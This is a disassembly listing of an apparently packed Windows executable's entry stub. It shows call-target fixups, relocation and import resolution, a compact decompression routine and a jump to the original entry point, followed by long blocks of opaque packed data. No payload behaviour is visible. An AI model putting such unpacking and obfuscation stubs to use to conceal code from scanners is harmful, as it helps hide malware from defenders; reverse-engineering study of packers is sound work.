loc_4812C4:				; CODE XREF: start+9Bj	start+CAj
		push	8000h
		push	0
		push	dword ptr [ebp-1BBh]
		call	dword ptr [ebp-147h]
		lea	esi, [ebp-1B3h]
		mov	ecx, [esi+8]
		lea	edx, [esi+10h]
		mov	esi, [esi]
		mov	edi, esi
		cmp	ecx, 0
		jz	short loc_48132B


loc_4812EC:				; CODE XREF: start+100j start+10Ej
		mov	al, [edi]
		inc	edi
		sub	al, 0E8h


loc_4812F1:				; CODE XREF: start+136j
		cmp	al, 1
		ja	short loc_4812EC
		mov	eax, [edi]
		cmp	byte ptr [edx+1], 0
		jz	short loc_481311
		mov	bl, [edx]
		cmp	[edi], bl
		jnz	short loc_4812EC
		mov	bl, [edi+4]
		shr	ax, 8
		rol	eax, 10h
		xchg	al, ah
		jmp	short loc_48131B
; ---------------------------------------------------------------------------


loc_481311:				; CODE XREF: start+108j
		mov	bl, [edi+4]
		xchg	al, ah
		rol	eax, 10h
		xchg	al, ah


loc_48131B:				; CODE XREF: start+11Cj
		sub	eax, edi
		add	eax, esi
		mov	[edi], eax
		add	edi, 5
		sub	bl, 0E8h
		mov	eax, ebx
		loop	loc_4812F1


loc_48132B:				; CODE XREF: start+F7j
		call	sub_48146A
		lea	ecx, [ebp-19Fh]
		mov	eax, [ecx+8]
		cmp	eax, 0
		jz	loc_4813C3
		mov	esi, edx
		sub	esi, [ecx+10h]
		jz	short loc_4813C3
		mov	[ecx+10h], esi
		lea	esi, [ebp-16Fh]
		mov	esi, [esi]
		lea	ebx, [esi-4]
		mov	eax, [ecx]
		cmp	eax, 1
		jz	short loc_481368
		mov	edi, edx
		add	edi, [ecx+8]
		mov	ecx, [ecx+10h]
		jmp	short loc_481370
; ---------------------------------------------------------------------------


loc_481368:				; CODE XREF: start+169j
		mov	edi, esi
		add	edi, [ecx+8]
		mov	ecx, [ecx+10h]


loc_481370:				; CODE XREF: start+173j start+18Ej
		xor	eax, eax
		mov	al, [edi]
		inc	edi
		or	eax, eax
		jz	short loc_481399
		cmp	al, 0EFh
		ja	short loc_481383


loc_48137D:				; CODE XREF: start+19Dj start+1A4j
		add	ebx, eax
		add	[ebx], ecx
		jmp	short loc_481370
; ---------------------------------------------------------------------------


loc_481383:				; CODE XREF: start+188j
		and	al, 0Fh
		shl	eax, 10h
		mov	ax, [edi]
		add	edi, 2
		or	eax, eax
		jnz	short loc_48137D
		mov	eax, [edi]
		add	edi, 4
		jmp	short loc_48137D
; ---------------------------------------------------------------------------


loc_481399:				; CODE XREF: start+184j
		xor	ebx, ebx
		xchg	edi, esi
		mov	eax, [esi]
		cmp	eax, 0
		jz	short loc_4813C3


loc_4813A4:				; CODE XREF: start+1BCj
		lodsd
		or	eax, eax
		jz	short loc_4813B1
		add	ebx, eax
		add	[edi+ebx], cx
		jmp	short loc_4813A4
; ---------------------------------------------------------------------------


loc_4813B1:				; CODE XREF: start+1B4j
		xor	ebx, ebx
		shr	ecx, 10h


loc_4813B6:				; CODE XREF: start+1CEj
		lodsd
		or	eax, eax
		jz	short loc_4813C3
		add	ebx, eax
		add	[edi+ebx], cx
		jmp	short loc_4813B6
; ---------------------------------------------------------------------------


loc_4813C3:				; CODE XREF: start+149j start+154j ...
		lea	esi, [ebp-1E3h]
		mov	edx, [esi]
		lea	esi, [ebp-187h]
		mov	al, [esi]
		cmp	al, 1
		jnz	short loc_481416
		add	edx, [esi+4]
		push	esi
		push	edx
		push	esi
		push	4
		push	100h
		push	edx
		call	dword ptr [ebp-14Fh]
		pop	edi
		pop	esi
		cmp	eax, 1
		jnz	loc_4815B3
		add	esi, 8
		mov	ecx, 8
		rep movsb
		sub	esi, 0Ch
		sub	edi, 8
		push	esi
		push	dword ptr [esi-4]
		push	100h
		push	edi
		call	dword ptr [ebp-14Fh]


loc_481416:				; CODE XREF: start+1E2j
		push	ebp
		pop	ebx
		sub	ebx, 8
		xor	ecx, ecx
		mov	cl, [ebx]
		cmp	cl, 0
		jz	short loc_48144F
		inc	ebx
		lea	esi, [ebp-1E3h]
		mov	edx, [esi]


loc_481430:				; CODE XREF: start+25Aj
		push	esi
		push	ecx
		push	ebx
		push	edx
		push	esi
		push	dword ptr [ebx]
		push	dword ptr [ebx+4]
		mov	eax, [ebx+8]
		add	eax, edx
		push	eax
		call	dword ptr [ebp-14Fh]
		pop	edx
		pop	ebx
		pop	ecx
		pop	esi
		add	ebx, 0Ch
		loop	loc_481430


loc_48144F:				; CODE XREF: start+14j	start+232j
		mov	eax, 0
		cmp	eax, 0
		jz	short loc_481463
		popa
		popf
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_481463:				; CODE XREF: start+264j
		popa
		popf
		jmp	sub_401000
start		endp


; =============== S U B	R O U T	I N E =======================================



sub_48146A	proc near		; CODE XREF: start:loc_48132Bp
		mov	esi, [ebp-1EBh]
		or	esi, esi
		jz	loc_48150F
		mov	edx, [ebp-1E3h]
		add	esi, edx


loc_481480:				; CODE XREF: sub_48146A+61j
		cmp	dword ptr [esi], 0
		jnz	short loc_481493
		cmp	dword ptr [esi+4], 0
		jnz	short loc_481493
		cmp	dword ptr [esi+8], 0
		jnz	short loc_481493
		jmp	short loc_48150D
; ---------------------------------------------------------------------------


loc_481493:				; CODE XREF: sub_48146A+19j
					; sub_48146A+1Fj ...
		mov	ebx, [esi+8]
		add	ebx, edx
		push	ebx
		push	edx
		push	esi
		lea	edi, [ebp-0BFh]
		add	edi, [esi+4]
		add	esi, 0Ch
		push	edi
		call	dword ptr [ebp-157h]
		pop	edi
		pop	edx
		pop	ebx
		cmp	eax, 0
		jz	short loc_48150F
		mov	[ebp-1DBh], eax
		add	edi, [esi]
		add	esi, 4


loc_4814C1:				; CODE XREF: sub_48146A+A1j
		xor	ecx, ecx
		mov	cl, [esi]
		cmp	ecx, 0
		jnz	short loc_4814CD
		inc	esi
		jmp	short loc_481480
; ---------------------------------------------------------------------------


loc_4814CD:				; CODE XREF: sub_48146A+5Ej
		mov	eax, edi
		add	edi, ecx
		push	edx
		push	ebx
		push	eax
		cmp	byte ptr [eax],	0FFh
		jnz	short loc_4814E1
		inc	eax
		mov	eax, [eax]
		and	eax, 7FFFFFFFh


loc_4814E1:				; CODE XREF: sub_48146A+6Dj
		mov	cl, [edi]
		mov	byte ptr [edi],	0
		push	ecx
		push	eax
		push	dword ptr [ebp-1DBh]
		call	dword ptr [ebp-153h]
		pop	ecx
		pop	edx
		pop	ebx
		pop	edx
		cmp	eax, 0
		jz	short loc_48150F
		mov	[edi], cl
		mov	[esi-4], eax
		push	dword ptr [esi-4]
		pop	dword ptr [ebx]
		add	ebx, 4
		inc	esi
		jmp	short loc_4814C1
; ---------------------------------------------------------------------------


loc_48150D:				; CODE XREF: sub_48146A+27j
		clc
		retn
; ---------------------------------------------------------------------------


loc_48150F:				; CODE XREF: sub_48146A+8j
					; sub_48146A+4Aj ...
		jmp	loc_4815B3
sub_48146A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_481514	proc near		; CODE XREF: start+6Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 004815AF SIZE 00000004 BYTES

		push	ebp
		mov	ebp, esp
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_4]
		cld
		mov	dl, 80h


loc_481520:				; CODE XREF: sub_481514+12j
		movsb


loc_481521:				; CODE XREF: sub_481514+34j
					; sub_481514+7Dj
		call	sub_481593
		jnb	short loc_481520
		xor	ecx, ecx
		call	sub_481593
		jnb	short loc_48154A
		xor	eax, eax
		call	sub_481593
		jnb	short loc_48155B
		mov	al, 10h


loc_48153C:				; CODE XREF: sub_481514+2Fj
		call	sub_481593
		adc	al, al
		jnb	short loc_48153C
		jnz	short loc_481588
		stosb
		jmp	short loc_481521
; ---------------------------------------------------------------------------


loc_48154A:				; CODE XREF: sub_481514+1Bj
		call	sub_48159F
		dec	ecx
		loop	loc_481567
		mov	eax, ebp
		call	sub_48159D
		jmp	short loc_481589
; ---------------------------------------------------------------------------


loc_48155B:				; CODE XREF: sub_481514+24j
		lodsb
		shr	eax, 1
		jz	short loc_4815AF
		adc	ecx, 2
		mov	ebp, eax
		jmp	short loc_481589
; ---------------------------------------------------------------------------


loc_481567:				; CODE XREF: sub_481514+3Cj
		xchg	eax, ecx
		dec	eax
		shl	eax, 8
		lodsb
		mov	ebp, eax
		call	sub_48159D
		cmp	eax, 7D00h
		jnb	short loc_481587
		cmp	eax, 500h
		jnb	short loc_481588
		cmp	eax, 7Fh
		ja	short loc_481589


loc_481587:				; CODE XREF: sub_481514+65j
		inc	ecx


loc_481588:				; CODE XREF: sub_481514+31j
					; sub_481514+6Cj
		inc	ecx


loc_481589:				; CODE XREF: sub_481514+45j
					; sub_481514+51j ...
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	short loc_481521
sub_481514	endp


; =============== S U B	R O U T	I N E =======================================



sub_481593	proc near		; CODE XREF: sub_481514:loc_481521p
					; sub_481514+16p ...
		add	dl, dl
		jnz	short locret_48159C
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

locret_48159C:				; CODE XREF: sub_481593+2j
		retn
sub_481593	endp


; =============== S U B	R O U T	I N E =======================================



sub_48159D	proc near		; CODE XREF: sub_481514+40p
					; sub_481514+5Bp
		xor	ecx, ecx
sub_48159D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_48159F	proc near		; CODE XREF: sub_481514:loc_48154Ap
		inc	ecx


loc_4815A0:				; CODE XREF: sub_48159F+Dj
		call	sub_481593
		adc	ecx, ecx
		call	sub_481593
		jb	short loc_4815A0
		retn
sub_48159F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_481514


loc_4815AF:				; CODE XREF: sub_481514+4Aj
		pop	ebp
		retn	8
; END OF FUNCTION CHUNK	FOR sub_481514
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_4815B3:				; CODE XREF: start+51j	start+1FDj ...
		push	0
		call	dword ptr [ebp-143h]
		retn
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]
		mov	edx, [ecx]
		cmp	edx, [ecx+4]
		jnz	short loc_4815CF
		mov	dword ptr [ecx+eax*2], 2300110h
		or	al, 0FFh
		retn
; ---------------------------------------------------------------------------


loc_4815CF:				; CODE XREF: .nsp1:004815C3j
		pop	es
		mov	al, [edx]
		inc	edx
		mov	[ecx], edx
		pusha
		mov	eax, [esp+4]
		sbb	al, 83h
		popa
		adc	[ebx], dh
		or	[ebx+eax*4], cl
		push	esi
		push	ds
		and	[ebx], al
		rol	byte ptr [ecx+49h], 1
		or	bh, bh
		push	5
		jmp	short loc_4815FE
; ---------------------------------------------------------------------------
		db 58h
		dd 39C9E85Eh, 0CE48B02h, 0C0B6000Fh
		db 0C1h, 0E2h
; ---------------------------------------------------------------------------


loc_4815FE:				; CODE XREF: .nsp1:004815EDj
		or	[ebx], cl
		retn	3E4Eh
; ---------------------------------------------------------------------------
		db 89h
		dd 0EA750F41h, 40E5Eh, 718B5653h, 0DB330708h, 8057D285h
		dd 2C7E0C79h, 0EA1C5576h, 0E380EED1h, 572FE3Bh,	1D83E82Bh
		dd 778101CBh, 107360C5h, 81AE6C1h, 848985E8h, 0F800E741h
		dd 5DD8754Dh, 5F628967h, 1C5E7A4Ch, 0B35BC38Bh,	4F97F28Ch
		dd 0B70F5761h, 0C1C2DC39h, 1E0BE83Ch, 7E00C7AFh, 73F83B0Ch
		dd 46893140h, 0F566C0BCh, 0D0348E01h, 98F01EBFh, 0C1FA2Bh
		dd 0F80305FFh, 81398966h, 5CA87E7Fh, 0CE148B19h, 889F2AE8h
		dd 1DE1644Eh, 0F166BA38h, 0EE072DFh, 0D02B42EBh, 566DF84Fh
		dd 0A06FD789h, 0AD20C8Fh, 50C1E6D0h, 0DFC29EEAh, 0E742A386h
		dd 40021FFEh, 81C35E5Fh, 5351ECD6h, 0DA3E16BBh,	0E8DB8594h
		dd 1A7EF901h, 40FC5D89h, 8D0855B2h, 0CE63470h, 3FE83E18h
		dd 0E6C603FDh, 75FC0C4Dh, 42C25EEBh, 0D3CB8B02h, 45B5FE2h
		dd 191F95C9h, 0DD89763Ah, 57309CF8h, 3942FFC3h,	0D98BC97Dh
		dd 7EFCA8FBh, 78566520h, 0C420312h, 2385E81Eh, 14D0CFBDh
		dd 0E003D306h, 47FC4509h, 7C48123Bh, 14151BE2h,	61C98824h
		dd 0E899F26Dh, 4940ECDAh, 0E8D3E46Eh, 0BABCF54h, 493DC638h
		dd 0EA7C14BEh, 0A05B2B9Fh, 9C195035h, 5294FCD2h, 751BC443h
		dd 0D0D1B808h, 0EEC1D865h, 468D070Eh, 26E0CF01h, 1B76C303h
		dd 7396E847h, 0D80BDBD0h, 75F03B02h, 0A1FB811Ch, 1AEBD340h
		dd 1BB657B2h, 0A276E822h, 99D88B59h, 0B88AE61Ch, 6585C38Ah
		dd 0FA820E56h, 7CE8F147h, 0C0138541h, 2A461675h, 3AC570Ch
		dd 8D036A04h, 5AB0304Ch, 31C7DCE8h, 4EC03BEBh, 0F8D78B02h
		dd 5724A832h, 4B1B6575h, 8C242210h, 4E919F0Dh, 0C08301B5h
		dd 6A11EB08h, 48EF840h,	0A213A102h, 0D2D2100Ch,	4ABE2C67h
		dd 813F938h, 41F1544Eh,	0C8030C4Dh, 70473324h, 52A4F1B8h
		dd 0C9283D1Ah, 4DCCEBDCh, 0E806C8F4h, 10E6E528h, 661AD6D2h
		dd 0F84D414Bh, 20EC0690h, 0D3E403F0h, 73605E7h,	0DB325A05h
		dd 0CE1C4F4Ah, 604D390Ch, 2E106055h, 6A0873DCh,	0E958020Dh
		dd 9842E1A0h, 0C8754076h, 0A8B7F9D1h, 0FE202FDCh, 0C913ABF3h
		dd 0FF0A6661h, 3201875h, 4D8D0214h, 0FCFAE8C8h,	207D8EA3h
		dd 70860F80h, 128A5DD4h, 86192310h, 89C1D820h, 851860DEh
		dd 0EA13A366h, 61AA42F4h, 9B460420h, 624E73C2h,	0FD446455h
		dd 76621246h, 4223DC82h, 0B1A58047h, 0E74D2A08h, 90C38020h
		dd 0C59CA3A5h, 0C203A100h, 9040048Dh, 83091D05h, 8806E4FFh
		dd 7D0F0E6Ch, 0F4658706h, 3D10EB03h, 5BA0A24h, 0B903EF9Eh
		dd 0D060A65h, 30CEF4A5h, 20497408h, 0B02B39F6h,	8A1C9AF8h
		dd 88103C04h, 0A09A18AAh, 83FE1D65h, 8816C77h, 0E76C0E47h
		dd 54D8678Ah, 836A941Ch, 0AE0843F2h, 3401807Eh,	0E894C233h
		dd 0C1A36242h, 1B50C33Bh, 0B2E1C7AFh, 23983A2Dh, 2F519EE8h
		dd 752F8EA6h, 0F47A445h, 8A039592h, 4605C1D1h, 184E86E8h
		dd 0EE392C75h, 8B84350Fh, 0F0B51455h, 707FF1Fh,	912BC09Dh
		dd 0C1448DF8h, 0F4F94309h, 338AD339h, 31FF3301h, 0E912884Ah
		dd 58A4CE4Ah, 184622B0h, 48C30575h, 2B27EBECh, 0A8AC82Bh
		dd 0E1182EE8h, 0BA09EBF0h, 0E410E476h, 1D38B587h, 0B419B6ECh
		dd 0E613A8EDh, 8481DDA2h, 480A688Eh, 0D5AA9B32h, 0EA6299C2h
		dd 0DC487E91h, 0D9E7FDE0h, 0ADE9110Bh, 6C8944C2h, 0E41C5BF0h
		dd 6D0CD1DBh, 5912849Dh, 6488882Ch, 11322906h, 50E81B0Ah
		dd 4F8D997h, 4C7CB424h,	58247D03h, 0F25194D8h, 624073Dh
		dd 53609381h, 9E74144Bh, 647C2154h, 0C7D1E249h,	0FB2391D6h
		dd 30CFF94Ah, 3E98CABAh, 5D0E2ACCh, 5115247Dh, 0F02B1DE4h
		dd 55E4E5Eh, 0D73AE880h, 0EB70015Dh, 0E7C28321h, 0A4FB0FE1h
		dd 493E18h, 50C8451Ch, 0F691F16Ah, 0EB5A0A44h, 90B4CEDBh
		dd 6284B685h, 48838ED3h, 3424C906h, 3C80A630h, 3F3A779Eh
		dd 0C1A41C39h, 42429CD3h, 188AC703h, 41394040h,	854A4009h
		dd 7EC2A1D2h, 20D43B05h, 0F1EC4972h, 0FE0E778h,	0B5905582h
		dd 0CC95D245h, 851C6E83h, 41EB75D2h, 0F0D1C378h, 102E1263h
		dd 0F8A8772h, 82E14480h, 0D1610DBBh, 720124F4h,	0E9440762h
		dd 0E3194A96h, 2D2E2C55h, 805F2E2Eh, 0E4321472h, 0B37DC18Ah
		dd 0C1F3F62Eh, 807C8FAAh, 7548D30Ch, 0BA093CFAh, 0F71CA612h
		dd 0F781FC1Ch, 1EC9F516h, 60682F1h, 5061C6BBh, 0E068CFE3h
		dd 268D9210h, 41A71B9Ch, 71FF5253h, 2077CD9Dh, 7A90C8BDh
		dd 94D38BA1h, 6FB40514h, 88527220h, 0FC12B857h,	2420651Dh
		dd 8CE4F633h, 806E4601h, 69C36A81h, 202402Eh, 0C385C68Bh
		dd 0F8C41E5Fh, 80B90153h, 0
		dd 5D00h, 0EF560020h, 2, 34000008h, 0FD114600h,	491AFEC8h
		dd 312983D3h, 0F18D48B5h, 0CD7BC992h, 5FAF5B3h,	0A1089ED2h
		dd 0B2D9CBEBh, 0A81271AEh, 46834FD3h, 8CB186C1h, 0EAEC0101h
		dd 34796545h, 0C6B2C59h, 2B9ABACEh, 4FFB2C2Dh, 0B90D466Bh
		dd 0EFB83F48h, 7EFEF85Ch, 0DDC942EEh, 85007A4h,	4A7A3DC9h
		dd 0A763D86Dh, 1EB07A16h, 0A9A204ECh, 8A6CA8D7h, 561CB3h
		dd 0D94B4DE9h, 5E70E76Bh, 0C26D9516h, 3A602567h, 6DE30C9h
		dd 0B0A01EF0h, 0F464A54h, 6B278B6Eh, 0B63E8333h, 93DC20CCh
		dd 465650EDh, 0C9ABB3F8h, 0C8CB4C3Dh, 69467470h, 5E6006D7h
		dd 8F4287A6h, 45A3D2C8h, 0B795B877h, 4CA5AEA4h,	0AE612451h
		dd 0A3A472DDh, 0E6574F0Bh, 31A69875h, 0B121F4E3h, 22E733B3h
		dd 7ECF2B01h, 0E96FF67Bh, 0A1A6AA53h, 0CEDDE363h, 0AB886AE3h
		dd 0BC0C6A95h, 0E6DFF825h, 0DEA1F240h, 1AF473A1h, 37C33067h
		dd 0DEE4549Fh, 0CAF92AECh, 1A2C44C3h, 0B9D5E4F8h, 54A07E3Dh
		dd 0A2FCA6CDh, 16AB6610h, 3DD8499Dh, 0E2873A55h, 0E2F4E85h
		dd 0C16BFDAFh, 0A1E86A7Ah, 3AA2EC07h, 8C4B8AD2h, 199A8E40h
		dd 383F8F8Ah, 7F021703h, 6B67886h, 5E891C89h, 7056E8D6h
		dd 59001F61h, 0C8F1E514h, 50B4F4D1h, 89CD5216h,	0EC00A0E1h
		dd 73D6F338h, 0EB8FC6B0h, 0D252C673h, 0CA85C609h, 0D9AA0B06h
		dd 0B29C3C5Fh, 628AB082h, 0F78F3DEBh, 0B2C5FC1Dh, 6F863617h
		dd 2C6EBBAAh, 1316114Ah, 61BA134Fh, 0F3488D21h,	0A1ECA0A5h
		dd 0EAA9A2A6h, 65344756h, 66AA6C7Ch, 1186DDCAh,	423D3229h
		dd 695E4002h, 0C1E81A16h, 0EA6C1F90h, 0A8C34DA7h, 0D26D62E5h
		dd 0C8354069h, 0F5CAF2DCh, 0DB2FC3F1h, 137AF978h, 529C0699h
		dd 44FBB561h, 0C1780282h, 9D7B5616h, 0F64502A6h, 9DDEA07Ch
		dd 484AD062h, 0EA5E9FEAh, 87E66A47h, 0E507225Bh, 14DB645Eh
		dd 48828E83h, 4845B27Eh, 0DA5601D8h, 2ED91B15h,	31951DE7h
		dd 63165609h, 54B8DBD8h, 1FE86083h, 8A001AFBh, 9A28F29Ch
		dd 0F9B35B1Ch, 374AC8F3h, 0BDAA87D4h, 0BF413B0h, 0B9E6F4CCh
		dd 86C43C90h, 6801B0Eh,	0A6406099h, 2BF92DD2h, 7A5E0C9Bh
		dd 0D8718854h, 273ADCBBh, 61923167h, 0FC73CF28h, 2C1BF37Fh
		dd 0B346807Fh, 7A319237h, 90784CB1h, 1F3F5733h,	0F43F58Dh
		dd 0D1B6584Eh, 406CD767h, 0C2CDC53Fh, 0F59042CAh, 79888C5Ch
		dd 0D22D9D25h, 0ED2D4E7Ch, 54167C12h, 349B7075h, 99FE674Ch
		dd 0BA00585Fh, 0CA1DD6ABh, 282C4C83h, 6908BADCh, 0E513C658h
		dd 9F17A68Ah, 6F81CCF2h, 0C97D53DDh, 0CFA56A33h, 863C5DAEh
		dd 93A8F33Ah, 75F5E84Eh, 0C97ED29Bh, 58CF8B38h,	793A3EF5h
		dd 9AFD0478h, 9C680A01h, 764288C8h, 0B205B607h,	10A5B1AAh
		dd 0D6CAD9ADh, 0C5618D08h, 167ACF1Ch, 3AA712BBh, 0C0AD2201h
		dd 0E7427458h, 0C49A650Bh, 63A2BECEh, 674B46B8h, 0BCD49325h
		dd 34B10A50h, 0DACA587Bh, 5328408Eh, 6827CA1Dh,	244DC14Dh
		dd 0A8902DA1h, 56923E87h, 9197BC5Bh, 0C70073E7h, 73E1D6FCh
		dd 53D86448h, 0A7A3DB49h, 8D9412B1h, 6939CC7Ch,	0BB62AA32h
		dd 0EAAB0389h, 0CA350C56h, 4076DDF6h, 84AB6812h, 59C1D62Ah
		dd 0FB0D2D3Eh, 0FB7B1206h, 0A14107A4h, 0BBF5A58h, 35109D0Ch
		dd 2E0FF1D4h, 0B9F2F2E8h, 70C73C6Ch, 180BBEE9h,	0EBA6FA8Fh
		dd 0BA90C8BDh, 0A9364B34h, 3B207077h, 3ACA7577h, 0A845DF74h
		dd 978A787Dh, 0BC946782h, 0B53E971h, 0D10E402Eh, 0BEC10565h
		dd 87BF60Eh, 0BFECEAB5h, 0FF0FD5EDh, 3BBCC765h,	2F2D3472h
		dd 6AC85033h, 9C0E924h,	87A75052h, 25494583h, 9A309E4Bh
		dd 921C59C8h, 5517A35Eh, 94AD19BBh, 0D791046Fh,	9EE5CD39h
		dd 5560DF43h, 7048DC7Ah, 0B11B8AE7h, 3C9C1D97h,	0F74670B9h
		dd 3E74771Fh, 9F2F4F57h, 0AFFB389Fh, 6D8D60CAh,	1D5876B9h
		dd 71B4235Ah, 1F0A762Eh, 0F6CA2709h, 0B9B63015h, 30E5E054h
		dd 947B390Ch, 69A23331h, 95E63072h, 899DBBAFh, 0D7041CE8h
		dd 0F25E08BCh, 1E08BDFDh, 0FAA6BADEh, 0F1CAB6C6h, 9DFFEEAAh
		dd 0B58828E3h, 851CF72Dh, 838834F7h, 0DF94813Ah, 61312292h
		dd 5DEEAA42h, 0EDCB41F0h, 895B94FAh, 0C9FAE561h, 0A99E36FCh
		dd 4A1BA750h, 6E9A2992h, 0F46287DBh, 0E86A6C40h, 424E296Dh
		dd 0C938DACFh, 58E72DD8h, 0DB23203Dh, 20127675h, 3EE7FD56h
		dd 0D5D76F88h, 8F3B10BEh, 5A10D26Ch, 6A465854h,	12502300h
		dd 9045F88Eh, 935DCA3Dh, 0FCD416F8h, 9DFC8611h,	0E8E70793h
		dd 8408F83Dh, 947BE4F0h, 0DF99BD6Ah, 1795A848h,	28B29BE7h
		dd 90767929h, 0EC1CCCD2h, 0B0EB6401h, 0E9BEBCB2h, 3FBD6892h
		dd 7206AC38h, 0B271BFDEh, 0D7AF5DCFh, 66D1F9Dh,	67D4C486h
		dd 615E6BCDh, 1C12818Dh, 0CA8228C2h, 9397FAD8h,	5C0E1228h
		dd 77DA3E3Fh, 7DA422B2h, 2DD34C82h, 0D2438DFFh,	0E0B6FA7h
		dd 989DD189h, 0F4AC6E8Eh, 0EBCEE9B3h, 3251E167h, 77BAA5Ah
		dd 5D368EDDh, 9F096A98h, 87DBF11Bh, 33708C16h, 752BC8E8h
		dd 5A94CDB3h, 6666A51Bh, 0E09D4C3Ah, 15A09138h,	40F8BC16h
		dd 56239C4Ah, 27F69F31h, 42B3380Dh, 90B99B14h, 0ED01AF24h
		dd 9C0A9316h, 6C9892B9h, 27CF54D2h, 9E5EEF70h, 0EA13BA0h
		dd 0AC8A2722h, 6FF4536Ah, 3BBE63D7h, 0EADFF5BDh, 7CF5E98Dh
		dd 0C63F2470h, 6D3997D1h, 0F7FD1B1Ch, 0B0D3CA89h, 55C92D48h
		dd 0D104E299h, 0D2035636h, 289E6A0Fh, 364468F1h, 4A0450F2h
		dd 82C54A02h, 0A46324D0h, 1FAB156Fh, 712586F2h,	365BF9E4h
		dd 0F2440174h, 0AF79FC16h, 0EB162175h, 0CFB10796h, 0FC122AB1h
		dd 75886C96h, 30D2ACCCh, 0DE9D4DF5h, 11372B8h, 0C737370Ah
		dd 0BD09A9C1h, 3FFC250Fh, 0ADF3B780h, 0D55EA1B9h, 0F4990064h
		dd 81977212h, 9E77BC18h, 39347AB1h, 4D6EA36Ch, 304A02FAh
		dd 764B959Dh, 0F32005B7h, 8E2F3F2Eh, 46A39D95h,	0A842D4E7h
		dd 5C72A52Ah, 673215B2h, 5EF0FDB4h, 3DB90748h, 0B7CAE155h
		dd 5E597DE7h, 0BEC1BBEDh, 95A2D1F2h, 0B0B427BFh, 5500ED02h
		dd 0B78F782Eh, 0E6535789h, 0EF25EB1Eh, 0E0392301h, 21EFD9A0h
		dd 579C7F5Dh, 0D6E1575Ah, 0F0B005EDh, 452DC0BDh, 0BC706CBBh
		dd 0D3D328D3h, 73FF6C25h, 494AB927h, 9852AFD4h,	437E624Eh
		dd 402CEF47h, 0E4C1FDACh, 0A91C552Ah, 70865CF1h, 14A13742h
		dd 8D863E55h, 8FD400E5h, 0D9253293h, 0A079D7F6h, 761B2767h
		dd 0EBE29C64h, 549462ACh, 75C95F41h, 6CDDC32Ah,	5AFE6D54h
		dd 9AE0DB9Dh, 81D54AA1h, 15E1D127h, 3F7DF102h, 33ADF248h
		dd 7738749h, 31D54Bh, 319F24DBh, 11F4C8DDh, 0AD4C08C8h
		dd 5452411Ah, 0A08B625Dh, 0AEAE7524h, 5ACAFBCAh, 421CB8F5h
		dd 0A12A7F98h, 781CE6DAh, 0BB341A1Eh, 48408ACCh, 69EFC592h
		dd 3C03B14Ah, 9AA4267Eh, 0F2F0EEC8h, 5455A490h,	49FDB720h
		dd 1054F219h, 236302C4h, 70B3F120h, 86E0B209h, 7842DF38h
		dd 9F03CF15h, 38371567h, 8365E0EAh, 0DF0BD278h,	868C3159h
		dd 0EF4437DEh, 1F16811Ah, 3C5D4F9h, 0F435977Eh,	0E7A129D4h
		dd 44C8DB4Bh, 7B54B5Ch,	0CD2749E1h, 9B8EDB56h, 98051759h
		dd 571B40A1h, 9D54FE5h,	9F0C3B53h, 0D88B4FADh, 479D483Dh
		dd 0E8E20604h, 0B247028Eh, 0F70F8FB6h, 6F1F980Bh, 0E36D1006h
		dd 1A98DDA9h, 0B4A43DF0h, 694C5B99h, 293677B7h,	0B379E174h
		dd 4AADD67Eh, 47DF6EDFh, 4E4D6F49h, 0C200CB34h,	1CCAED8Eh
		dd 0B2328C59h
		dd 0E953F46Ah, 48F4668h, 0CF78E660h, 54CD9D31h,	457F9671h
		dd 0CF8FC46Ah, 1855F2C1h, 7EAD24E9h, 24F02F65h,	79BF7F2Dh
		dd 9E4B9892h, 0BC3036B2h, 6D0B8373h, 3F6C95EEh,	109CF098h
		dd 4251F9FDh, 3086D8BCh, 25B51DD0h, 1CB04CB7h, 34C20C73h
		dd 0F5BF9A34h, 0D97C192Ch, 0F6CFF669h, 0E34054E0h, 93B14118h
		dd 0A93BB63Fh, 8AEF3B1Eh, 0A6C8C059h, 283180EAh, 7BCB7BCEh
		dd 5EEAECFAh, 6C9CC21Ah, 0AE342574h, 134D51F7h,	700818A7h
		dd 0B6AE5978h, 7EB23E09h, 9848B911h, 0F23B7208h, 0EF100E4Ah
		dd 3640901Dh, 351D6AF4h, 0CDAC392Eh, 0EAD2EEDEh, 0F8E322F2h
		dd 3F3A0921h, 209F7E9Fh, 3A9C815Fh, 6EAB05D2h, 6B3A45A2h
		dd 3BD706EFh, 18858136h, 1C65EEFDh, 8C5F240Fh, 5DBDC6E5h
		dd 463BAAB6h, 396D8629h, 2069E881h, 952FBF06h, 7E5C081h
		dd 179267F8h, 609D28B0h, 0E782C779h, 0DEF48824h, 0A16EE949h
		dd 75BFB382h, 0DB549E0Eh, 52100720h, 0A1CFB977h, 8610C4BAh
		dd 26CAC476h, 647DAC05h, 0F094592Bh, 0BC04E7E8h, 13FE7504h
		dd 593C33E6h, 0F24A5FB0h, 2BE93E6Bh, 0DAB58446h, 2B3204B9h
		dd 19BC2611h, 34C1F04Ch, 0EC618187h, 766637C6h,	0D9D03605h
		dd 0ECE95C25h, 0D02BCC85h, 8EA273Ah, 0BA140BA9h, 0F287135Eh
		dd 0F8CE67A8h, 642D2ED6h, 9553B565h, 0DDC036A4h, 0BFE51E6Ch
		dd 0C54FCC6Eh, 499A46F8h, 6F17803Ch, 0C1674C24h, 0E8B4B4F3h
		dd 4C999E17h, 529988C3h, 44EBA0F7h, 3D158270h, 8B723E20h
		dd 0A5C4C6B6h, 68D20984h, 0D761BE5Ah, 0A45CEB93h, 684D5FF2h
		dd 6A3EDC09h, 3FDFB7B8h, 6A1D6D2Ch, 554B77E7h, 62AA08CEh
		dd 441DA4F2h, 9103D6ABh, 71D3EBCBh, 0B905B42h, 0F40D43A5h
		dd 628E9E35h, 0EDC3F21Ah, 5F230D8Ah, 64BCEEB6h,	3163B7C7h
		dd 0AF1B3648h, 696AE299h, 3309D8E3h, 249CB874h,	7987C10Dh
